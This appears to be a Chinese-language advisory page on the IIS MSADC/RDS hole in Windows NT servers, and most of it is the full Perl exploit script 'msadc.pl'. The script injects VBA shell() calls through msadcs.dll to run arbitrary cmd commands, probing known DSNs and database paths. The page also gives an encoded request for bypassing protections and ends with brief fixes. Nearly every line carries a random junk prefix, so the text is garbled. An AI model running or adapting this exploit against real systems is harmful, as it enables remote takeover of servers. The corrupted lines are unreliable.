IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3|A"CU/z@ jq[>PvR 涉及程序：
6O"0 ?wG+ Microsoft NT server
b~|B(lL6Xm S SzOz-&GA 描述：
Qcw/>LaL: 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
TiOvrp 7B aoBM _# 详细：
xsa*
XR 如果你没有时间读详细内容的话，就删除:
wxoBq{r; c:\Program Files\Common Files\System\Msadc\msadcs.dll
m?csake.Me 有关的安全问题就没有了。
k~?@~xm,R a+X X?uN{ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
m\t
%wr bZ389dSn 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
-Oo$\=d 关于利用ODBC远程漏洞的描述，请参看:
]t,ppFC# <%!@cE+y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /q> ""> J sH9IK: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
I E|$>q0Z http://www.microsoft.com/security/bulletins/MS99-025faq.asp ak'RV*>mT X<1# )xC 这里不再论述。
+pE-Yn`YS )'qZ6 % 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
<@?bYp AttDD{Ta /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
FuD$ jsEw 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
[1E u6X6 b&!X#3(KT C 9~CP8 #将下面这段保存为txt文件，然后: "perl -x 文件名"
k: c)|2 _/KN98+ #!perl
|=SaI%%Be #
gHTo|2 Q{ # MSADC/RDS 'usage' (aka exploit) script
*t~( _j #
ATwPfo8jx@ # by rain.forest.puppy
D@!#79:) #
rHP5;j< ] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
r;9F @/ # beta test and find errors!
$oh}!Smt t,&1~ _9 use Socket; use Getopt::Std;
pwm ]2}+ getopts("e:vd:h:XR", \%args);
? -6oh~W< f 1 ]1ZOb print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
OJ&~uV >2 aj1Zi3h if (!defined $args{h} && !defined $args{R}) {
"/wZt c print qq~
v\& Wb_;A Usage: msadc.pl -h <host> { -d <delay> -X -v }
p6|0JBm -h <host> = host you want to scan (ip or domain)
$yG=exh3v -d <seconds> = delay between calls, default 1 second
uP<tP: -X = dump Index Server path table, if available
*;Sj&O -v = verbose
Yf<6[(6 O -e = external dictionary file for step 5
bz,C% HFA 85 -00m ~ Or a -R will resume a command session
S)p1[&" M >=$( ,8" ~; exit;}
HPT$)NeNc !@5B:n* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
c?IFI if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
RP!X 5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
kbiMqiPG if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
bfhap(F~(e $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|h4aJv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
K8f;AK fn]f$n*` if (!defined $args{R}){ $ret = &has_msadc;
83e{rcs die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^pIT,|myY7 n} }$-xl print "Please type the NT commandline you want to run (cmd /c assumed):\n"
kg1z"EE . "cmd /c ";
>Ta|#]{ $in=<STDIN>; chomp $in;
v?vm-e $command="cmd /c " . $in ;
C,HKao\ wgp{P>oBX if (defined $args{R}) {&load; exit;}
Y?ouB #Fm, mO$v print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
V]&0"HX2r! &try_btcustmr;
$GB /}$fd& ===M/}r print "\nStep 2: Trying to make our own DSN...";
n j0! &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
R,>LUa*u W^v3pH-y # print "\nStep 3: Trying known DSNs...";
!hdOH3h = &known_dsn;
!#xk?L yB sT
]JDC6 print "\nStep 4: Trying known .mdbs...";
INt]OP D &known_mdb;
gn4+$ f~w `o4alK\ if (defined $args{e}){
pbJC A& print "\nStep 5: Trying dictionary of DSN names...";
dTcrJ|/Y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
XA PqRJ*Z Hwiw:lPq`E print "Sorry Charley...maybe next time?\n";
^/b3_aM5d exit;
)i|0Ubn[| F5s Pd ##############################################################################
U|yXJ.Z 3 I5Vp%mCY sub sendraw { # ripped and modded from whisker
QmxI ;l sleep($delay); # it's a DoS on the server! At least on mine...
^V,?n@c! my ($pstr)=@_;
#$-{hg{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~F Ckr&Ky3 die("Socket problems\n");
K;)(fc if(connect(S,pack "SnA4x8",2,80,$target)){
!79eF) select(S); $|=1;
ZMa@/\pf1 print $pstr; my @in=<S>;
$DS|jnpV select(STDOUT); close(S);
dA 03 ,s return @in;
|YEq<wbQ } else { die("Can't connect...\n"); }}
!:BmDX[<n f(SK[+aqW ##############################################################################
^W#161& /hF@Xh%hY sub make_header { # make the HTTP request
#X 1 GL my $msadc=<<EOT
J> Z.2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
; ,9:1.L User-Agent: ACTIVEDATA
[a201I0 - Host: $ip
e2F{} N Content-Length: $clen
?2q4dx 0 Connection: Keep-Alive
;+;%s D ?c ur}` ADCClientVersion:01.06
$@utlIXA' Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
?q{H S&k M1HGXdN* B --!ADM!ROX!YOUR!WORLD!
nY M2Vxi0+ Content-Type: application/x-varg
-_[ZRf?^ Content-Length: $reqlen
xwSi.~ . O
n/q& h5 EOT
`En>o~ L; ; $msadc=~s/\n/\r\n/g;
i U"2uLgb return $msadc;}
vCX
54 o $q})! ##############################################################################
h[(. 5do49H_ sub make_req { # make the RDS request
i&m t- my ($switch, $p1, $p2)=@_;
K3dg.>O my $req=""; my $t1, $t2, $query, $dsn;
(/ $a*$ i K,^|Q8 if ($switch==1){ # this is the btcustmr.mdb query
\DMZ M $query="Select * from Customers where City=" . make_shell();
CpLLsp hy $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
O&g$dK!Rad $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
C bW>yr Eg+ z(m$M elsif ($switch==2){ # this is general make table query
K#;EjR4H $query="create table AZZ (B int, C varchar(10))";
XMlcY; W $dsn="$p1";}
4{6XZ_J1 9f #6Q*/ elsif ($switch==3){ # this is general exploit table query
>(He,o@M $query="select * from AZZ where C=" . make_shell();
t RY i q $dsn="$p1";}
~O 8X j6 wOV}<.W elsif ($switch==4){ # attempt to hork file info from index server
jI!W E$dt $query="select path from scope()";
UF PSQ $dsn="Provider=MSIDXS;";}
ItxC}qT AGMrBd|J{ elsif ($switch==5){ # bad query
ydMfV- $query="select";
?#gYu %7DN $dsn="$p1";}
}@TtX\7(D l*-$H$ $t1= make_unicode($query);
v=J[p;H^H $t2= make_unicode($dsn);
,M0#?j> $req = "\x02\x00\x03\x00";
"Jpnm E[` $req.= "\x08\x00" . pack ("S1", length($t1));
iM_Zn!|@\ $req.= "\x00\x00" . $t1 ;
el3lR((H $req.= "\x08\x00" . pack ("S1", length($t2));
Bhf4 /$ $req.= "\x00\x00" . $t2 ;
k.6(Q_TS $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
wvz_)b N~A return $req;}
7-j=he/ Sp\
7 ##############################################################################
#xNXCBl ]O &BE'~G sub make_shell { # this makes the shell() statement
C@OY)!x! return "'|shell(\"$command\")|'";}
J_N`D+m :> o2UH ##############################################################################
"
"{#~X} E3d# T sub make_unicode { # quick little function to convert to unicode
q-D|96>8 my ($in)=@_; my $out;
L@ x#:s= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
f[+N=vr return $out;}
0tyS=X;#e v\3}5v%YI ##############################################################################
^;gwD4 (hs E[E7Gsmq V sub rdo_success { # checks for RDO return success (this is kludge)
( S= RFd my (@in) = @_; my $base=content_start(@in);
C)8>_PY[M if($in[$base]=~/multipart\/mixed/){
N]iu
o. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
'mR 9Uqq\ return 0;}
WZ] f \S E0-<-w3' ##############################################################################
N Q"`F,T afNqK~ sub make_dsn { # this makes a DSN for us
"Acc]CqH* my @drives=("c","d","e","f");
Ln
C5" print "\nMaking DSN: ";
6x 8P}? foreach $drive (@drives) {
[9>h! khs print "$drive: ";
P}RewMJ$L my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
%
XS2 ;V "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
daakawn + . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
{
i2QL S $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
q|_t=YM@ return 0 if $2 eq "404"; # not found/doesn't exist
^qP}/H[QT if($2 eq "200") {
a } m> foreach $line (@results) {
QFYO_$1 Y) return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
G378 ,H } return 0;}
gV\{Qo j ;%_s4 ##############################################################################
!0k'fYCa a/v!W@Zz} sub verify_exists {
{Z^ G ]@ my ($page)=@_;
]1k"'XG4, my @results=sendraw("GET $page HTTP/1.0\n\n");
&3t[p= return $results[0];}
TC$)::C1 Hz6tk9;w ##############################################################################
]`, ja D Z2cumx( sub try_btcustmr {
/suW{8A(E my @drives=("c","d","e","f");
2MQ
Xt K my @dirs=("winnt","winnt35","winnt351","win","windows");
Tb@r@j:V 8nSEAr~ foreach $dir (@dirs) {
]dj
W^C]94 print "$dir -> "; # fun status so you can see progress
k~,({T< foreach $drive (@drives) {
*fj5$T-Z print "$drive: "; # ditto
W3.(s~ )o $reqlen=length( make_req(1,$drive,$dir) ) - 28;
O7of9F~" $reqlenlen=length( "$reqlen" );
lNwqWOWy $clen= 206 + $reqlenlen + $reqlen;
P5 6B~M _ a#L:L8T;j my @results=sendraw(make_header() . make_req(1,$drive,$dir));
l}jC$B`5 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
: fx^{N!T else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
>nqCUhS iT2{3 t ##############################################################################
uihU)]+@t/ b:6NVHb% sub odbc_error {
)A1u uW ( my (@in)=@_; my $base;
vi1
D< my $base = content_start(@in);
#P JHwvr if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
818,E $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WNmG'hlA $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wdo(K.m $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
XTro;R=# return $in[$base+4].$in[$base+5].$in[$base+6];}
LjEG1$F> print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
hzcSK Rm print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|m p~d<& $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9(AY7]6 e\7AtlW" ##############################################################################
# X`t~Y' 5"WI^"6b: sub verbose {
b CL/"OB my ($in)=@_;
,%X"Caz return if !$verbose;
089 <B& < print STDOUT "\n$in\n";}
dMlJ2\ ]u q*'-G]tH= ##############################################################################
\'9(zb vz9 j' }4ZwEh
sub save {
#i'wDvhol my ($p1, $p2, $p3, $p4)=@_;
T jrz_o) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
rf=oH
} print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
?[!_f$50]P close OUT;}
; BmPP, o#\c:D*k ##############################################################################
{TVQ]G%'b eZdFfmYW^R sub load {
<Eu/f`8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~o X`Gih open(IN,"<rds.save") || die("Couldn't open rds.save\n");
&\iMIJ- @p=<IN>; close(IN);
cES8%UC^i $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
x,j%3/ J^2 $target= inet_aton($ip) || die("inet_aton problems");
"U UoT print "Resuming to $ip ...";
S| $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
aHkt K/ if($p[1]==1) {
u$rSM0CJ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
u-u:7VtH0= $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
AvZO R my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
i it 5IV if (rdo_success(@results)){print "Success!\n";}
kk$D:UQX else { print "failed\n"; verbose(odbc_error(@results));}}
f64}#E|w elsif ($p[1]==3){
eHc.#OA& if(run_query("$p[3]")){
)CoJ9PO7 print "Success!\n";} else { print "failed\n"; }}
#:E^($v elsif ($p[1]==4){
sB=s .`9 if(run_query($drvst . "$p[3]")){
,?c=v`e print "Success!\n"; } else { print "failed\n"; }}
lGXr-K?+Y exit;}
Ij?Qs{V Bp/ k{7 ##############################################################################
p>1Klh:8.' j)mi~i*U sub create_table {
; ]VLA9dC my ($in)=@_;
G 7k.YtW $reqlen=length( make_req(2,$in,"") ) - 28;
Eyh(2 57 $reqlenlen=length( "$reqlen" );
T~naA P $clen= 206 + $reqlenlen + $reqlen;
49Hgq/uO my @results=sendraw(make_header() . make_req(2,$in,""));
)VeeAu)p return 1 if rdo_success(@results);
F$HL \y my $temp= odbc_error(@results); verbose($temp);
yHs'E4V`$ return 1 if $temp=~/Table 'AZZ' already exists/;
kf1 ( return 0;}
v
M $Tn 2#Y5*r's\ ##############################################################################
6)1xjE# qz
}PTx sub known_dsn {
_Kv;hR> # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
N6h.zl&04 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
keS%w] 87 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Wl{wY,u "banner", "banners", "ads", "ADCDemo", "ADCTest");
U(\ ^!S1 IRbZ ;*3dO foreach $dSn (@dsns) {
J\Z\ q print ".";
`r+`vJ$ next if (!is_access("DSN=$dSn"));
Mo&Po9 if(create_table("DSN=$dSn")){
ee*E:Ltz\ print "$dSn successful\n";
Za'}26 if(run_query("DSN=$dSn")){
V3[>^ZCA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+.|8W !h`1 print "Something's borked. Use verbose next time\n";}}} print "\n";}
.] BJM?9 |c:xK{Ik ##############################################################################
r~sQdf k2DBm q; sub is_access {
_;u@xl= my ($in)=@_;
!po29w:S $reqlen=length( make_req(5,$in,"") ) - 28;
F2Co Xe7 $reqlenlen=length( "$reqlen" );
Am)X bN')1 $clen= 206 + $reqlenlen + $reqlen;
*h2)$^P% my @results=sendraw(make_header() . make_req(5,$in,""));
qj<_* my $temp= odbc_error(@results);
"kkZK=}Nv verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Z$ 6yB return 0;}
r&D&xsbQ S@vLh=65 ##############################################################################
=xPBolxm5U y0cB@pWp sub run_query {
S<DS|qOo my ($in)=@_;
QVQ?a&HYS $reqlen=length( make_req(3,$in,"") ) - 28;
M UqV$#4@I $reqlenlen=length( "$reqlen" );
j :J{m0 $clen= 206 + $reqlenlen + $reqlen;
P[a\Q`}L my @results=sendraw(make_header() . make_req(3,$in,""));
5E}~iC& return 1 if rdo_success(@results);
9 e0Oj3!B my $temp= odbc_error(@results); verbose($temp);
+)-`$N return 0;}
CDgu`jj%] /]" 2;e-s+ ##############################################################################
\F8*HPM=* R{A$hnhW6 sub known_mdb {
exL<cN my @drives=("c","d","e","f","g");
w|WehNGr my @dirs=("winnt","winnt35","winnt351","win","windows");
[";<YR7iRN my $dir, $drive, $mdb;
w65D;9/; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
tQrkRg(E: aC=D_JJ\ # this is sparse, because I don't know of many
QKtTy>5 my @sysmdbs=( "\\catroot\\icatalog.mdb",
Bj IKs~CT "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
9?# L/ "\\system32\\certmdb.mdb",
\t
04 - "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
WZJ}HHePr q/HwcX+[b my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
U> s$}Y:+Z "\\cfusion\\cfapps\\forums\\forums_.mdb",
5cE?> "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
JJ$q * "\\cfusion\\cfapps\\security\\realm_.mdb",
L.) 0!1 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ESt@%7.F "\\cfusion\\database\\cfexamples.mdb",
[Oy5Td7[ "\\cfusion\\database\\cfsnippets.mdb",
\%+5p"Z < "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
v\:P _J "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,wE cRN w "\\cfusion\\brighttiger\\database\\cleam.mdb",
f/6,b&l, "\\cfusion\\database\\smpolicy.mdb",
Kt3 ]r:&J "\\cfusion\\database\cypress.mdb",
P\R#!+FgW8 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
D!d1%h ac "\\website\\cgi-win\\dbsample.mdb",
[:(^n0% "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
/"%(i#<)xs "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
hbg:}R=B< ); #these are just
~t-!{F foreach $drive (@drives) {
6 @[7 foreach $dir (@dirs){
@fSBW+ foreach $mdb (@sysmdbs) {
:v>Nz7SB print ".";
7; e$ sr if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
a{FCg%vD) print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
O>H'o k
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
t/T WLhx/ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
X|w[:[P } else { print "Something's borked. Use verbose next time\n"; }}}}}
da/Tms`T efu'PfZ`& foreach $drive (@drives) {
at-+%e foreach $mdb (@mdbs) {
*P.Dbb8vn print ".";
~!& "b1
if(create_table($drv . $drive . $dir . $mdb)){
#7}1W[y9}l print "\n" . $drive . $dir . $mdb . " successful\n";
?' :v): J} if(run_query($drv . $drive . $dir . $mdb)){
O<o>/HH$ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
uVn"'p- } else { print "Something's borked. Use verbose next time\n"; }}}}
6*\WH % }
yHk}'YP B3V; ##############################################################################
c?0.>^,B Q L
H8iHB sub hork_idx {
[, )G\ print "\nAttempting to dump Index Server tables...\n";
e: aa print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Qmg2lP.) $reqlen=length( make_req(4,"","") ) - 28;
/eO :1c
$reqlenlen=length( "$reqlen" );
DQy<!Wb+ $clen= 206 + $reqlenlen + $reqlen;
3 \B 28m my @results=sendraw2(make_header() . make_req(4,"",""));
t3//
U # if (rdo_success(@results)){
!\ 6<kQg# my $max=@results; my $c; my %d;
"h'+!2mf for($c=19; $c<$max; $c++){
zvgy$]y'\ $results[$c]=~s/\x00//g;
CVy\']
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
O D O'!T- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
_ / >JM0 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
7H l>UX,| $d{"$1$2"}="";}
5Y(<T~ foreach $c (keys %d){ print "$c\n"; }
hRwj-N%C } else {print "Index server doesn't seem to be installed.\n"; }}
1X pG7 <1 %(%KdN[ ##############################################################################
}83a^E9 L 9-3, DxZ} sub dsn_dict {
E;tEmGf6F open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Z)^1~!w0 while(<IN>){
BtA_1R O $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
!ay:h
Iv next if (!is_access("DSN=$dSn"));
x=M% QFe if(create_table("DSN=$dSn")){
pv[Gg^ print "$dSn successful\n";
*t%Z'IA if(run_query("DSN=$dSn")){
YstR
T1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
A+w'quXn print "Something's borked. Use verbose next time\n";}}}
|W#(+m print "\n"; close(IN);}
z o|
' _@5|r|P> ##############################################################################
TK e\Bi >'1 [Bh sub sendraw2 { # ripped and modded from whisker
L~+/LV sleep($delay); # it's a DoS on the server! At least on mine...
XU y[l my ($pstr)=@_;
9] Fi2M socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ZccvZl ;b die("Socket problems\n");
Fd86P .Df if(connect(S,pack "SnA4x8",2,80,$target)){
4OaU1Y[ print "Connected. Getting data";
PS}'LhZ open(OUT,">raw.out"); my @in;
kz\ Ss|jl select(S); $|=1; print $pstr;
gHo sPY[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
S54q?sb_ close(OUT); select(STDOUT); close(S); return @in;
({OQ
JBC } else { die("Can't connect...\n"); }}
z?^ oy. :N^+!,i ##############################################################################
Yu$QL@ ~ \]?5
nj sub content_start { # this will take in the server headers
w *M&@+3I my (@in)=@_; my $c;
M>_ vsI^I' for ($c=1;$c<500;$c++) {
8c\\-{ if($in[$c] =~/^\x0d\x0a/){
E|vXM "zFl if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
mCyn : + else { return $c+1; }}}
z"97A Xu return -1;} # it should never get here actually
} J[Z)u )dd1B>ej] ##############################################################################
!-t,r%CG JC MUK<CG sub funky {
H76iBJ66 my (@in)=@_; my $error=odbc_error(@in);
/%mT2 if($error=~/ADO could not find the specified provider/){
p0[+Zm{#l print "\nServer returned an ADO miscofiguration message\nAborting.\n";
b'W.l1]<- exit;}
,$} xPC if($error=~/A Handler is required/){
%tMx48'N print "\nServer has custom handler filters (they most likely are patched)\n";
:sQ>oNnz exit;}
i! x>) E if($error=~/specified Handler has denied Access/){
/&c2O X|Z print "\nServer has custom handler filters (they most likely are patched)\n";
_i_P@I<M|~ exit;}}
T]JmnCX>: <5? pa 3 ##############################################################################
D4b-Y[/" "[eH|z/ sub has_msadc {
}v's>Ae~p my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
$J^fp XO my $base=content_start(@results);
:KgH7s} return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
!E_Zh*lgm return 0;}
oOLey!uZw rlaeqG ########################
Wqkzj^;"G /Kd7# @ kU+|QBA@ 解决方案：
lLp,sN Aj 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
,3!$mQL= 2、移除web 目录: /msadc
